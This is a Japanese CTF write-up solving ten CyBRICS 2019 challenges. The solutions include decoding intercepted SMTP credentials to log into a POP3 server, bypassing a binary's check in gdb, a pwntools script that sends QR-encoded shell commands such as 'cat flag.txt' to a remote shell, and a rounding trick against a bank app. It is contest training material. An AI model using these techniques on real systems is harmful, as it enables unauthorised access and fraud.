CyBRICS CTF 2019 Writeup
- CyBRICS CTF 2019 について
- CyBRICS CTF 2019 Writeup(10問)
- Mic Check (Cyber, Baby, 10 pts)
- Warmup (Web, Baby, 10 pts)
- Sender (Network, Baby, 10 pts)
- Honey, Help! (rebyC, Baby, 10 pts)
- Tone (Forensic, Baby, 10 pts)
- Oldman Reverse (Reverse, Baby, 10 pts)
- Matreshka (Reverse, Easy, 50 pts)
- Disk Data (Forensic, Easy, 56 pts)
- QShell (Cyber, Easy, 50 pts)
- Bitkoff Bank (Web, Easy, 50 pts)
CyBRICS CTF 2019 について
CyBRICS CTF 2019 が開催されました。
2019年7月20日 午後7時~7月21日 午後7時(24時間)
CyBRICS CTF 2019は、1位~3位に賞金の出る大会です。 なんと、1位は、10,000 USDももらえるそうです。 ただし、参加制限があり、残念ながら国籍フィルターで日本人は除外されてしまいます。
BRICS — that you're from Brazil, Russia, India, China or South Africa;
今回は、「バラバラで参加しよう」という話になり、一人で参加しました。 結果は、92/775位で266点でした。 幅広いジャンルでの問題が多かった印象です。 難易度も易しいものから高難易度の問題まで幅広く用意されていました。 一人では全然時間が足りなかったので、次回は複数人で参加したいです。
CyBRICS CTF 2019 Writeup(10問)
Mic Check (Cyber, Baby, 10 pts)
問題
Have you read the game rules? There's a flag there.
解答例
Welcome問題、ゲームルールのリンク先にあるフラグを投入するだけ。
FLAG
cybrics{W3lc0M3_t0_t3h_G4M#}
Warmup (Web, Baby, 10 pts)
問題
E_TOO_EASY
Just get the flag
解答例
問題のリンクをクリックすると、304で別のページにリダイレクトされてしまいます。 curlで直接リンク先を確認すると、末尾にBase64でエンコードされたデータが確認できました。
$ curl http://45.32.148.106 <html> <script language="JavaScript"> function func() { document.location.href = 'final.html' } </script> <body onload=func()> <p> But at this moment to take its place?<br/> It’s getting cold,” said Zametov. “Only the other end, waiting for her brother, but she said that he had come to that, nervous irritability from hunger, she falls to beating them at once, and warmly pressed his head was clear that he was talking nonsense, Sonia,” he muttered bitterly.<br/> 省略 And what if I hear any rumours, I’ll take it back in time,” struck him like a chicken in the stinking, dusty town air.<br/> Such was the hundredth part of Russia on a line you won’t be angry with me at once whispered almost aloud to the pavement.<br/> She was a lie at first?”<br/> Dounia remembered her pale lips was full of people in it when we spoke of you at least!<br/> For if Sonia has not gone off on the untouched veal, which was in great haste.<br/> She gave me with their long manes, thick legs, and slow even pace, drawing along a perfect right to kill him as strange and shocking sight.<br/> Here is your base64-encoded flag: Y3licmljc3s0YjY0NmM3OTg1ZmVjNjE4OWRhZGY4ODIyOTU1YjAzNH0= </p></body></html>
Base64でデコードすると、フラグを取得することができました。
$ echo "Y3licmljc3s0YjY0NmM3OTg1ZmVjNjE4OWRhZGY4ODIyOTU1YjAzNH0=" | base64 -d cybrics{4b646c7985fec6189dadf8822955b034}
FLAG
cybrics{4b646c7985fec6189dadf8822955b034}
Sender (Network, Baby, 10 pts)
問題
We've intercepted this text off the wire of some conspirator, but we have no idea what to do with that.
intercepted_text.txt
Get us their secret documents
添付ファイル(intercepted_text.txt)
220 ugm.cybrics.net ESMTP Postfix (Ubuntu) EHLO localhost 250-ugm.cybrics.net 250-PIPELINING 250-SIZE 10240000 250-VRFY 250-ETRN 250-AUTH PLAIN LOGIN 250-ENHANCEDSTATUSCODES 250-8BITMIME 250 DSN AUTH LOGIN 334 VXNlcm5hbWU6 ZmF3a2Vz 334 UGFzc3dvcmQ6 Q29tYmluNHQxb25YWFk= 235 2.7.0 Authentication successful MAIL FROM: <fawkes@ugm.cybrics.net> 250 2.1.0 Ok RCPT TO: <area51@af.mil> 250 2.1.5 Ok DATA 354 End data with <CR><LF>.<CR><LF> From: fawkes <fawkes@ugm.cybrics.net> To: Area51 <area51@af.mil> Subject: add - archive pw Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable MIME-Version: 1.0 =62=74=77=2E=0A=0A=70=61=73=73=77=6F=72=64 =66=6F=72 =74=68=65 =61=72=63= =68=69=76=65 =77=69=74=68 =66=6C=61=67=3A =63=72=61=63=6B=30=57=65=73=74= =6F=6E=38=38=76=65=72=74=65=62=72=61=0A=0A=63=68=65=65=72=73=21=0A . 250 2.0.0 Ok: queued as C4D593E8B6 QUIT 221 2.0.0 Bye
解答例
末尾の方に Quoted-printable でエンコードされたデータがあるので、とりあえずデコードしてみました。
=62=74=77=2E=0A=0A=70=61=73=73=77=6F=72=64 =66=6F=72 =74=68=65 =61=72=63= =68=69=76=65 =77=69=74=68 =66=6C=61=67=3A =63=72=61=63=6B=30=57=65=73=74= =6F=6E=38=38=76=65=72=74=65=62=72=61=0A=0A=63=68=65=65=72=73=21=0A
デコードするとパスワードが手に入りました。 フラグは、アーカイブファイルの中にあるようです。
btw. password for the archive with flag: crack0Weston88vertebra cheers!
次に、問題文の先頭にあるドメインを足掛かりに調べます。 とりあえず、nmapで調査をしてみます。 sshとpop3のポートが開いていることが分かりました。
PS> nmap ugm.cybrics.net Starting Nmap 7.70 ( https://nmap.org ) at 2019-07-20 20:17 ???? (?W???) Nmap scan report for ugm.cybrics.net (136.244.67.129) Host is up (0.24s latency). rDNS record for 136.244.67.129: 136.244.67.129.vultr.com Not shown: 995 closed ports PORT STATE SERVICE 22/tcp open ssh 25/tcp filtered smtp 110/tcp open pop3 139/tcp filtered netbios-ssn 445/tcp filtered microsoft-ds Nmap done: 1 IP address (1 host up) scanned in 13.71 seconds
問題文に書かれているものは、pop3のコマンド履歴だったようです。 また、問題文の「AUTH LOGIN」付近を見ると、ログインユーザとパスワードがBase64でエンコードされていました。
$ echo "ZmF3a2Vz" | base64 -d fawkes $ echo "Q29tYmluNHQxb25YWFk=" | base64 -d Combin4t1onXXY
ユーザ名、パスワードが分かったので、telnetで接続します。 接続できたら、「LIST」コマンドでメール一覧を確認し、「RETR <メール番号>」コマンドでメール内容を確認します。
$ telnet ugm.cybrics.net 110 USER fawkes PASS Combin4t1onXXY LIST RETR 1
メールを確認すると、zipファイルが添付されているようです。 Base64でエンコードされているので、デコードすると暗号付きzipファイルが出てきました。
Return-Path: <fawkes@ugm.cybrics.net> X-Original-To: fawkes@ugm.cybrics.net Delivered-To: fawkes@ugm.cybrics.net Received: by sender (Postfix, from userid 1000) id B83843EBFF; Thu, 18 Jul 2019 16:41:23 +0000 (UTC) Date: Thu, 18 Jul 2019 16:41:23 +0000 From: fawkes <fawkes@ugm.cybrics.net> To: Area51 <area51@af.mil>, fawkes <fawkes@ugm.cybrics.net> Subject: interesting archive Message-ID: <20190718164123.GA9631@ugm.cybrics.net> MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="J2SCkAp4GZ/dPZZf" Content-Disposition: inline User-Agent: Mutt/1.5.24 (2015-08-30) --J2SCkAp4GZ/dPZZf Content-Type: text/plain; charset=us-ascii Content-Disposition: inline take a look. dont share. secret. --J2SCkAp4GZ/dPZZf Content-Type: application/zip Content-Disposition: attachment; filename="secret_flag.zip" Content-Transfer-Encoding: base64 UEsDBBQACQBjAMua8k6A+vIXUogBAA+iAQAPAAsAc2VjcmV0X2ZsYWcucGRmAZkHAAEAQUUD CAC1GtwFWQRy7mwXUpknBhOJ3hpnDv1ei1Kf+knOhoW61yeyPdnML4vSrff+GUxQYCGKz6SB txgPjLvcWjoZokQBxFczx5575Z8Wv6dcwrX2X5A4WUFP+vpXBeq7E/c1Q7T87mR2WJnrhqLs 253Zoz1KC2kq+Gs/KXZILyxSzFWW6h7YLlozE6ru/f8WGtlLZzw5CXMdTcaZFGBjJX9jsqqY 以下省略
冒頭で取得したパスワードを使って展開すると、PDFファイルが出てきました。 PDFファイルを開くと、フラグが書かれていました。
FLAG
cybrics{Y0uV3_G0T_m41L}
Honey, Help! (rebyC, Baby, 10 pts)
問題
Added at 10:50 UTC: there was a typo in the flag. Please re-submit.
HONEY HELP!!!
I was working in my Kali MATE, pressed something, AND EVERYTHING DISAPPEARED!I even copied the text from terminal
リンク先のファイル(text from terminal)
root@myLOVELYcomputer:~/cybrics# ls -la total 12 drwxr-xr-x 2 root root 4096 Jul 22 2019 . drwxr-xr-x 21 root root 4096 Jul 22 2019 .. -rw-r--r-- 1 root root 44 Jul 22 2019 flag root@myLOVELYcomputer:~/cybrics# echo $'\e(0' ⎼⎺⎺├@└≤LOVELY␌⎺└⎻┤├␊⎼:·/␌≤␉⎼␋␌⎽# ┌⎽ -┌▒ ├⎺├▒┌ 12 ␍⎼┬│⎼-│⎼-│ 2 ⎼⎺⎺├ ⎼⎺⎺├ 4096 J┤┌ 22 2019 . ␍⎼┬│⎼-│⎼-│ 21 ⎼⎺⎺├ ⎼⎺⎺├ 4096 J┤┌ 22 2019 .. -⎼┬-⎼--⎼-- 1 ⎼⎺⎺├ ⎼⎺⎺├ 44 J┤┌ 22 2019 °┌▒± ⎼⎺⎺├@└≤LOVELY␌⎺└⎻┤├␊⎼:·/␌≤␉⎼␋␌⎽# ␌▒├ °┌▒± ␌≤␉⎼␋␌⎽π0┌≤_␌⎼4⎻_1⎽_├␋⎽_▒┌13┼␋$_0⎼_┬4├?£ ⎼⎺⎺├@└≤LOVELY␌⎺└⎻┤├␊⎼:·/␌≤␉⎼␋␌⎽#
解答例
自分のPCで実際に echo $'\e(0'
を実行して、気合で置換していきました。
もっとスマートな解き方が知りたい。
!"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~
と入力すると、以下のようになります。
FLAG
cybrics{h0ly_cr4p_1s_this_al13ni$h_0r_w4t?}
Tone (Forensic, Baby, 10 pts)
問題
Ha! Looks like this guy forgot to turn off his video stream and entered his password on his phone!
youtu.be/11k0n7TOYeM
解答例
リンクを踏むと、限定公開のYoutubeの動画に飛ばされます。 よく耳を澄ますと、電話の入力音(DTMF)が聞こえてきます。
Youtubeの音声を録音し、Audacityで少しずつ再生しながら耳コピしました。 個人的には、再生速度を上げると違いが分かりやすかったです。
音声の比較対象として、こちらのサイトも参考にしました。
耳コピした結果が以下の通りとなります。
222 999 22 777 444 222 7777 7777 33 222 777 33 8 8 666 66 2 555 333 555 2 4
これらの番号は、携帯電話のキーパッドと対応しています。 割り当てると、以下の通りになります。
c y b r i c s s e c r e t t o n a l f l a g
フラグの形式に合わせて整形したものが、フラグとなります。
FLAG
cybrics{secret tonal flag}
Oldman Reverse (Reverse, Baby, 10 pts)
問題
I've found this file in my grandfather garage. Help me understand what it does
oldman.asm
添付ファイル(oldman.asm)
.MCALL .TTYOUT,.EXIT START: mov #MSG r1 mov #0d r2 mov #32d r3 loop: mov #MSG r1 add r2 r1 movb (r1) r0 .TTYOUT sub #1d r3 cmp #0 r3 beq DONE add #33d r2 swab r2 clrb r2 swab r2 br loop DONE: .EXIT MSG: .ascii "cp33AI9~p78f8h1UcspOtKMQbxSKdq~^0yANxbnN)d}k&6eUNr66UK7Hsk_uFSb5#9b&PjV5_8phe7C#CLc#<QSr0sb6{%NC8G|ra!YJyaG_~RfV3sw_&SW~}((_1>rh0dMzi><i6)wPgxiCzJJVd8CsGkT^p>_KXGxv1cIs1q(QwpnONOU9PtP35JJ5<hlsThB{uCs4knEJxGgzpI&u)1d{4<098KpXrLko{Tn{gY<|EjH_ez{z)j)_3t(|13Y}" .end START
解答例
見慣れない命令(swabやclrb)を調べていると、PDP-11と呼ばれる古いコンピュータのアセンブリだということが分かりました。
アセンブリを読んでいくと、33文字毎にMSGをローテートして表示するプログラムのようです。 C言語に読み換えて実装してみました。このプログラムを実行すると、フラグが取得できます。
#include <stdio.h> #include <string.h> int main(void) { char msg[] = "cp33AI9~p78f8h1UcspOtKMQbxSKdq~^0yANxbnN)d}k&6eUNr66UK7Hsk_uFSb5#9b&PjV5_8phe7C#CLc#<QSr0sb6{%NC8G|ra!YJyaG_~RfV3sw_&SW~}((_1>rh0dMzi><i6)wPgxiCzJJVd8CsGkT^p>_KXGxv1cIs1q(QwpnONOU9PtP35JJ5<hlsThB{uCs4knEJxGgzpI&u)1d{4<098KpXrLko{Tn{gY<|EjH_ez{z)j)_3t(|13Y}"; int i; for (i = 0; i < 32; i++) { char tmp[100] = {}; putchar(*msg); memcpy(tmp, msg, 33); memmove(msg, msg + 33, strlen(msg) - 33); memcpy(msg + strlen(msg) - 33, tmp, 33); } putchar('\n'); return 0; }
FLAG
cybrics{pdp_gpg_crc_dtd_bkb_php}
Matreshka (Reverse, Easy, 50 pts)
問題
Matreshka hides flag. Open it
matreshka.zip
解答例
zipファイルを展開すると、クラスファイルとdataファイルが入っていました。
$ file * Code2.class: compiled Java class data, version 54.0 data.bin: data
とりあえず実行してみると、Noと表示されます。
PS> java.exe Code2 No
PS> jad.exe .\Code2.class Parsing .\Code2.class... Generating Code2.jad
デコンパイル結果を確認すると、どうやらユーザ名が正しくないと「No」となってしまうようです。
// Decompiled by Jad v1.5.8g. Copyright 2001 Pavel Kouznetsov. // Jad home page: http://www.kpdus.com/jad.html // Decompiler options: packimports(3) // Source File Name: 2.java import java.io.*; import javax.crypto.Cipher; import javax.crypto.SecretKeyFactory; import javax.crypto.spec.DESKeySpec; class Code2 { Code2() { } public static byte[] decode(byte abyte0[], String s) throws Exception { SecretKeyFactory secretkeyfactory = SecretKeyFactory.getInstance("DES"); byte abyte1[] = s.getBytes(); DESKeySpec deskeyspec = new DESKeySpec(abyte1); javax.crypto.SecretKey secretkey = secretkeyfactory.generateSecret(deskeyspec); Cipher cipher = Cipher.getInstance("DES"); cipher.init(2, secretkey); byte abyte2[] = cipher.doFinal(abyte0); return abyte2; } public static byte[] encode(byte abyte0[], String s) throws Exception { SecretKeyFactory secretkeyfactory = SecretKeyFactory.getInstance("DES"); byte abyte1[] = s.getBytes(); DESKeySpec deskeyspec = new DESKeySpec(abyte1); javax.crypto.SecretKey secretkey = secretkeyfactory.generateSecret(deskeyspec); Cipher cipher = Cipher.getInstance("DES"); cipher.init(1, secretkey); byte abyte2[] = cipher.doFinal(abyte0); return abyte2; } public static void main(String args[]) throws Exception { String s = "matreha!"; byte abyte0[] = encode(System.getProperty("user.name").getBytes(), s); byte abyte1[] = { 76, -99, 37, 75, -68, 10, -52, 10, -5, 9, 92, 1, 99, -94, 105, -18 }; for(int i = 0; i < abyte1.length; i++) if(abyte1[i] != abyte0[i]) { System.out.println("No"); return; } File file = new File("data.bin"); FileInputStream fileinputstream = new FileInputStream(file); byte abyte2[] = new byte[(int)file.length()]; fileinputstream.read(abyte2); fileinputstream.close(); byte abyte3[] = decode(abyte2, System.getProperty("user.name")); FileOutputStream fileoutputstream = new FileOutputStream("stage2.bin"); fileoutputstream.write(abyte3, 0, abyte3.length); fileoutputstream.flush(); fileoutputstream.close(); } }
上記のコードを書き換えて、本来のユーザ名を特定します。
import java.io.*; import javax.crypto.Cipher; import javax.crypto.SecretKeyFactory; import javax.crypto.spec.DESKeySpec; class Matreshka { Matreshka() { } public static byte[] decode(byte abyte0[], String s) throws Exception { SecretKeyFactory secretkeyfactory = SecretKeyFactory.getInstance("DES"); byte abyte1[] = s.getBytes(); DESKeySpec deskeyspec = new DESKeySpec(abyte1); javax.crypto.SecretKey secretkey = secretkeyfactory.generateSecret(deskeyspec); Cipher cipher = Cipher.getInstance("DES"); cipher.init(2, secretkey); byte abyte2[] = cipher.doFinal(abyte0); return abyte2; } public static void main(String args[]) throws Exception { String s = "matreha!"; byte abyte1[] = { 76, -99, 37, 75, -68, 10, -52, 10, -5, 9, 92, 1, 99, -94, 105, -18 }; byte dec_abyte1[] = decode(abyte1, s); System.out.println(new String(dec_abyte1)); } }
上記のプログラムを実行して確認すると、「lettreha」が本来のユーザ名だと分かりました。
PS> javac .\Matreshka.java PS> java Matreshka lettreha
元のソースコードの System.getProperty("user.name")
のところを「lettreha」に置き換えました。
// Decompiled by Jad v1.5.8g. Copyright 2001 Pavel Kouznetsov. // Jad home page: http://www.kpdus.com/jad.html // Decompiler options: packimports(3) // Source File Name: 2.java import java.io.*; import javax.crypto.Cipher; import javax.crypto.SecretKeyFactory; import javax.crypto.spec.DESKeySpec; class Code2 { Code2() { } public static byte[] decode(byte abyte0[], String s) throws Exception { SecretKeyFactory secretkeyfactory = SecretKeyFactory.getInstance("DES"); byte abyte1[] = s.getBytes(); DESKeySpec deskeyspec = new DESKeySpec(abyte1); javax.crypto.SecretKey secretkey = secretkeyfactory.generateSecret(deskeyspec); Cipher cipher = Cipher.getInstance("DES"); cipher.init(2, secretkey); byte abyte2[] = cipher.doFinal(abyte0); return abyte2; } public static byte[] encode(byte abyte0[], String s) throws Exception { SecretKeyFactory secretkeyfactory = SecretKeyFactory.getInstance("DES"); byte abyte1[] = s.getBytes(); DESKeySpec deskeyspec = new DESKeySpec(abyte1); javax.crypto.SecretKey secretkey = secretkeyfactory.generateSecret(deskeyspec); Cipher cipher = Cipher.getInstance("DES"); cipher.init(1, secretkey); byte abyte2[] = cipher.doFinal(abyte0); return abyte2; } public static void main(String args[]) throws Exception { String s = "matreha!"; String username = "lettreha"; // byte abyte0[] = encode(System.getProperty("user.name").getBytes(), s); byte abyte0[] = encode(username.getBytes(), s); byte abyte1[] = { 76, -99, 37, 75, -68, 10, -52, 10, -5, 9, 92, 1, 99, -94, 105, -18 }; for(int i = 0; i < abyte1.length; i++) if(abyte1[i] != abyte0[i]) { System.out.println("No"); return; } File file = new File("data.bin"); FileInputStream fileinputstream = new FileInputStream(file); byte abyte2[] = new byte[(int)file.length()]; fileinputstream.read(abyte2); fileinputstream.close(); // byte abyte3[] = decode(abyte2, System.getProperty("user.name")); byte abyte3[] = decode(abyte2, username); FileOutputStream fileoutputstream = new FileOutputStream("stage2.bin"); fileoutputstream.write(abyte3, 0, abyte3.length); fileoutputstream.flush(); fileoutputstream.close(); } }
上記のプログラムを実行すると、「stage2.bin」というファイルが生成されました。
PS> javac .\Code2.java PS> java Code2
2つ目のファイルは、ELFファイルのようです。
$ file stage2.bin stage2.bin: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, not stripped
とりあえず、実行してみましたが、やはり「Fail」と表示されるようです。
$ ./stage2.bin Fail
まずは、gdb-pedaで「Fail」の表示箇所を見つけます。 writeシステムコールでbreakさせて、少しステップ実行してみます。
gdb-peda$ catch syscall 1
gdb-peda$ r
すると、エラーを表示していそうな箇所を見つけることができました。
[----------------------------------registers-----------------------------------] RAX: 0xc000000300 --> 0xc00002a000 --> 0xc00002a800 --> 0xc00002b000 --> 0xc00002b800 --> 0xc00002c000 (--> ...) RBX: 0x427890 (<runtime.printunlock+96>: jmp 0x427830 <runtime.printunlock>) RCX: 0xc0000003b1 --> 0x100000000000001 RDX: 0x0 RSI: 0xc000000300 --> 0xc00002a000 --> 0xc00002a800 --> 0xc00002b000 --> 0xc00002b800 --> 0xc00002c000 (--> ...) RDI: 0x2 RBP: 0xc00002a788 --> 0xc00002a790 --> 0x428737 (<runtime.main+519>: mov eax,DWORD PTR [rip+0x121b93] # 0x54a2d0 <runtime.runningPanicDefers>) RSP: 0xc00002a6d0 --> 0x4a3f9c ("Fail\nGreekKhmerLatinLimbuNushuOghamOriyaOsageRunicSTermTakriTamilargp=arraycasp1casp2casp3closefalsefaultfunc(gcingint16int32int64panicsleepslicesse41sse42ssse3uint8write (MB)\n Value addr= base code="...) RIP: 0x47630d (<main.main+861>: mov rbp,QWORD PTR [rsp+0xb8]) R8 : 0x5 R9 : 0x5 R10: 0x5 R11: 0x206 R12: 0xc ('\x0c') R13: 0xb ('\x0b') R14: 0x200 R15: 0x200 EFLAGS: 0x202 (carry parity adjust zero sign trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] 0x4762fa <main.main+842>: mov QWORD PTR [rsp+0x8],0x5 0x476303 <main.main+851>: call 0x4280d0 <runtime.printstring> 0x476308 <main.main+856>: call 0x427830 <runtime.printunlock> => 0x47630d <main.main+861>: mov rbp,QWORD PTR [rsp+0xb8] 0x476315 <main.main+869>: add rsp,0xc0 0x47631c <main.main+876>: ret 0x47631d <main.main+877>: call 0x44ea40 <runtime.morestack_noctxt> 0x476322 <main.main+882>: jmp 0x475fb0 <main.main> [------------------------------------stack-------------------------------------] 0000| 0xc00002a6d0 --> 0x4a3f9c ("Fail\nGreekKhmerLatinLimbuNushuOghamOriyaOsageRunicSTermTakriTamilargp=arraycasp1casp2casp3closefalsefaultfunc(gcingint16int32int64panicsleepslicesse41sse42ssse3uint8write (MB)\n Value addr= base code="...) 0008| 0xc00002a6d8 --> 0x5 0016| 0xc00002a6e0 --> 0x4 0024| 0xc00002a6e8 --> 0x4 0032| 0xc00002a6f0 --> 0xc000014088 --> 0x746f6f72 ('root') 0040| 0xc00002a6f8 --> 0x4 0048| 0xc00002a700 --> 0x8 0056| 0xc00002a708 --> 0x1 [------------------------------------------------------------------------------] Legend: code, data, rodata, value main.main () at /home/awengar/Distr/Hacks/ORG/SPBCTF/CyBrics/rev100_matreshka/2.go:25 25 /home/awengar/Distr/Hacks/ORG/SPBCTF/CyBrics/rev100_matreshka/2.go: No such file or directory. gdb-peda$
アドレスが分かったので、Ghidraで対象のアドレス(0x47630d)を見てみます。
エラー表示をしていそうな関数(runtime.printstring())が見つかりました。 その少し上には、io/ioutil.WriteFile() や crypto/rc4.() などがあり、そこがメインのコードになっていそうです。 その場所(0x476181)にgdb-pedaで無理やりjumpしてみます。
gdb-peda$ b *0x476126 gdb-peda$ b *0x476181 gdb-peda$ r gdb-peda$ jump *0x476181 gdb-peda$ c
すると、また新たに「result.pyc」という名前のファイル生成されました。
$ file result.pyc result.pyc: data
また、今回はそのまま実行することができませんでした。
$ python3 result.pyc
RuntimeError: Bad magic number in .pyc file
拡張子的には、pycファイルとなっているので、とりあえずデコンパイルしてみます。 今回は、下記のサイトで行いました。
デコンパイル結果は、以下の通りとなります。
def decode(data, key): idx = 0 res = [] for c in data: res.append(chr(c ^ ord(key[idx]))) idx = (idx + 1) % len(key) return res flag = [ 40, 11, 82, 58, 93, 82, 64, 76, 6, 70, 100, 26, 7, 4, 123, 124, 127, 45, 1, 125, 107, 115, 0, 2, 31, 15] print('Enter key to get flag:') key = input() if len(key) != 8: print('Invalid len') quit() res = decode(flag, key) print(''.join(res))
どうやらフラグは、8文字の文字列をキーとしたxor暗号で暗号化されているようです。
ただし、今回のフラグの初めの8文字は、cybrics{
であることが分かっています。
cybrics{
と 暗号化されたフラグでxorを取れば、キーが求められそうです。
CyberChefを使ってキーを求めてみます。
以上の結果から、今回のxorキーは、「Kr0H4137」だということが分かりました。 「Kr0H4137」を使って、フラグを復号することができました。
FLAG
cybrics{M4TR35HK4_15_B35T}
Disk Data (Forensic, Easy, 56 pts)
問題
Disk dump hides the flag. Obtain it
data2.zip.torrent
解答例
添付されたtorrentファイルからzipファイルをダウンロードし、展開するとExt4ファイルシステムのディスクイメージが出てきました。
$ file data2.bin data2.bin: Linux rev 1.0 ext4 filesystem data, UUID=a795f441-a210-45b1-885b-ff53d3ca0a61 (extents) (huge files)
「data2.bin」をAutopsyで開いてみました。 しばらく漁っていると、「.bash_history」を見つけました。 コマンド履歴を見てみると、どこからかwgetで画像ファイルをダウンロードし、 ImageMagickのconvertコマンドで画像の一部を白く塗りつぶしているのが確認できました。
ls ls -anl bash su rev read -r URL cd Downloads/ wget $URL eog kTd0T9g.png convert kTd0T9g.png -fill white -draw "rectangle 0,0 300,35" kTd0T9g.png eog kTd0T9g.png ync sync ls -anl cd Downloads/ wget https://www.torproject.org/dist/torbrowser/8.5.4/tor-browser-linux64-8.5.4_en-US.tar.xz wget https://github.com/geohot/qira/archive/v1.3.zip unzip v1.3.zip ls tar xvf tor-browser-linux64-8.5.4_en-US.tar.xz
編集された画像を見てみると、コマンド履歴の通り左上が白く塗りつぶされています。 画像を直接編集しているので復元できそうにありません。
さらに調査を進めると、ファイルのメタデータであるファイル拡張属性(user.xdg.origin.url)にURL(https://i.imgur.com/kTd0T9g.png)が残っていることに気が付きました。
実際にアクセスしてみると、白く塗りつぶされる前の画像が出てきました。 左上にフラグも確認できます。
FLAG
cybrics{A11W4Y5_D1G_D33P3R}
QShell (Cyber, Easy, 50 pts)
問題
QShell is running on
nc spbctf.ppctf.net 37338Grab the flag
解答例
nc spbctf.ppctf.net 37338
で接続してみると、以下のようにQRコードが表示されます。
QRコードを読み取ると、プロンプトが出てきました。
sh-5.0$
.
を入力してみると、「tile cannot extend outside image」とエラーが出てきました。
エラーの文章から推測すると、こちらも同じ形式でコマンドを送信しなけらばならないようです。
また、 .
以外の文字列だと反応しないことから、 .
がコマンドの終端となっているようです。
QRコードをいちいち作るのは面倒くさいので、下記のサイトを参考し、qrencodeを使ってQRコードを生成させました。
qrencodeのインストールは、下記コマンドでできます。
$ sudo apt-get install qrencode
以下のコマンドで、自由に文字列をQRコードに変換することができます。
$ qrencode -t ASCIIi "ls" ########################################################## ########################################################## ########################################################## ########################################################## ######## ###### ## ## ######## ######## ########## ## ## ## ## ########## ######## ######## ## ## ## ## #### ## ## ######## ######## ## ## ########## ## ## ## ######## ######## ## ## ## ## ## ## ######## ######## ########## ## ###### ########## ######## ######## ## ## ## ## ######## ######################## ################################ ######## ## #### #### ## ## ########## ######## ###### #### ## ## ## #### ######## ############ ###### #### ## #### #### ######## ############## #### #### ## #### ######## ########## #### ## ## #### ########## ######################## ###### ## ## ## ######## ######## ## ## ## ## ########## ######## ########## #### ######## ###### ######## ######## ## ## #### #### ###### ######## ######## ## ## ## ## #### ###### ######## ######## ## ## ###### ## ## ## ######## ######## ########## ## #### #### ## ############## ######## ## #### ## #### ########## ########################################################## ########################################################## ########################################################## ##########################################################
qrencodeの実行結果をpythonスクリプトに貼り付けて、QR送信用のプログラムを作成しました。 まずは、lsコマンド送信用のプログラムを作成しました。
from pwn import * qr_ls = ["##########################################################", \ "##########################################################", \ "##########################################################", \ "##########################################################", \ "######## ###### ## ## ########", \ "######## ########## ## ## ## ## ########## ########", \ "######## ## ## ## ## #### ## ## ########", \ "######## ## ## ########## ## ## ## ########", \ "######## ## ## ## ## ## ## ########", \ "######## ########## ## ###### ########## ########", \ "######## ## ## ## ## ########", \ "######################## ################################", \ "######## ## #### #### ## ## ##########", \ "######## ###### #### ## ## ## #### ########", \ "############ ###### #### ## #### #### ########", \ "############## #### #### ## #### ########", \ "########## #### ## ## #### ##########", \ "######################## ###### ## ## ## ########", \ "######## ## ## ## ## ##########", \ "######## ########## #### ######## ###### ########", \ "######## ## ## #### #### ###### ########", \ "######## ## ## ## ## #### ###### ########", \ "######## ## ## ###### ## ## ## ########", \ "######## ########## ## #### #### ## ##############", \ "######## ## #### ## #### ##########", \ "##########################################################", \ "##########################################################", \ "##########################################################", \ "##########################################################"] context(arch='amd64', os='linux') p = remote('spbctf.ppctf.net', 37338) ret = p.readuntil('.') ret = p.readline().strip() white = "\xe2\x96\x88" black = "\x20" for i in range(len(qr_ls)): qr = qr_ls[i].replace("##", white).replace(" ", black) p.sendline(qr) p.sendline(".") p.interactive()
上記のプログラムを実行すると、新たにQRコードが返ってきました。 少しバグっているようですが、問題なく読み取れました。
QRコードを読み取ると、以下の通りになっていました。
1.py 2.py docker-compose.yml Dockerfile flag.txt log.txt qweqwe.png rex.txt runserver.sh run.sh
次に、「cat flag.txt」という文字列をQRコードに変換し、送信用のプログラムを調整しました。
from pwn import * qr_cat_flag = ["##########################################################", \ "##########################################################", \ "##########################################################", \ "##########################################################", \ "######## #### #### ## ########", \ "######## ########## ## #### #### ########## ########", \ "######## ## ## #### ######## ## ## ########", \ "######## ## ## ## #### #### ## ## ########", \ "######## ## ## ###### ## ## ## ########", \ "######## ########## ## ## ## ########## ########", \ "######## ## ## ## ## ########", \ "############################ ########################", \ "######## ## #### ## ## ## ##########", \ "######## ## ######## #### ## ## ## ########", \ "########## #### ## ## ## #### ##########", \ "######## ## ## #### ## ############ ########", \ "######## #### #### ###### #### ## ##############", \ "######################## ###### ## ########", \ "######## ## ###### ## ###### ##########", \ "######## ########## #### #### ## #### ############", \ "######## ## ## ## ## ## #### ########", \ "######## ## ## ## ## ## ## ## ############", \ "######## ## ## ## ## ########## ############", \ "######## ########## ## ###### ## ############", \ "######## ## ## #### ######## ##########", \ "##########################################################", \ "##########################################################", \ "##########################################################", \ "##########################################################"] context(arch='amd64', os='linux') p = remote('spbctf.ppctf.net', 37338) ret = p.readuntil('.') ret = p.readline().strip() white = "\xe2\x96\x88" black= "\x20" for i in range(len(qr_ls)): qr = qr_cat_flag[i].replace("##", white).replace(" ", black) p.sendline(qr) p.sendline(".") p.interactive()
上記のプログラムを実行すると、またQRコードが返ってきました。
QRコードを読み取ると、フラグとなっていました。
FLAG
cybrics{QR_IS_MY_LOVE}
Bitkoff Bank (Web, Easy, 50 pts)
問題
Need more money! Need the flag!
http://45.77.201.191/index.php
Mirror: http://95.179.148.72:8083/index.php
解答例
リンクにアクセスすると、ユーザ名とパスワードの登録画面に飛ばされます。
登録するとメニュー画面に遷移します。
「MINE BTC」ボタンを押すと、自分のBTCが少しだけ増えます。
「change」ボタンでBTCとUSDの交換をすることができます。 最終的に、$1をどうにかして集めて、フラグを購入することが目標となるようです。
色々調査を進めてみると、USDとBTCの何度かの交換で、少しづつ増えていくことに気が付きました。
そこで、nodejsで以下の動作をするプログラムを作成しました。
- BTC(0.00001)をUSDに変換する
- USD(0.1)をBTCに変換する。
- USDが1以上になるまで、上記を繰り返す。
